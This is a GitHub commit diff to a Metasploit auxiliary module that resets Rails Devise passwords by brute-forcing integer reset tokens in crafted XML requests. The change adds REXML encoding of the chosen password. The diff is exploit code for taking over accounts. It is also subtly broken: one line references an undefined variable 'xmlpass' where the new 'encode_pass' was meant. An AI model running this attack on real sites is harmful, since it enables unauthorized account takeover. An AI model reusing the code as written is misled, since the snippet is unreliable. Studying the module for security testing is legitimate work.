Skip to content

Commit e72dc47

Browse files
committed
Uses REXML for encoding of password.
1 parent 43a1fbb commit e72dc47

File tree

1 file changed

+6
-3
lines changed

1 file changed

+6
-3
lines changed

modules/auxiliary/admin/http/rails_devise_pass_reset.rb

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
##
77

88
require 'msf/core'
9+
require 'rexml/element'
910

1011
class Metasploit3 < Msf::Auxiliary
1112

@@ -80,13 +81,15 @@ def clear_tokens()
8081
end
8182

8283
def reset_one(password, report=false)
83-
print_status("Resetting password to \"#{datastore['PASSWORD']}\"") if report
84+
print_status("Resetting password to \"#{password}\"") if report
8485

8586
(0..datastore['MAXINT']).each{ |int_to_try|
87+
encode_pass = REXML::Text.new(password).to_s
88+
8689
xml = ""
8790
xml << "<user>"
88-
xml << "<password>#{password}</password>"
89-
xml << "<password_confirmation>#{password}</password_confirmation>"
91+
xml << "<password>#{xmlpass}</password>"
92+
xml << "<password_confirmation>#{encode_pass}</password_confirmation>"
9093
xml << "<reset_password_token type=\"integer\">#{int_to_try}</reset_password_token>"
9194
xml << "</user>"
9295

0 commit comments

Comments
 (0)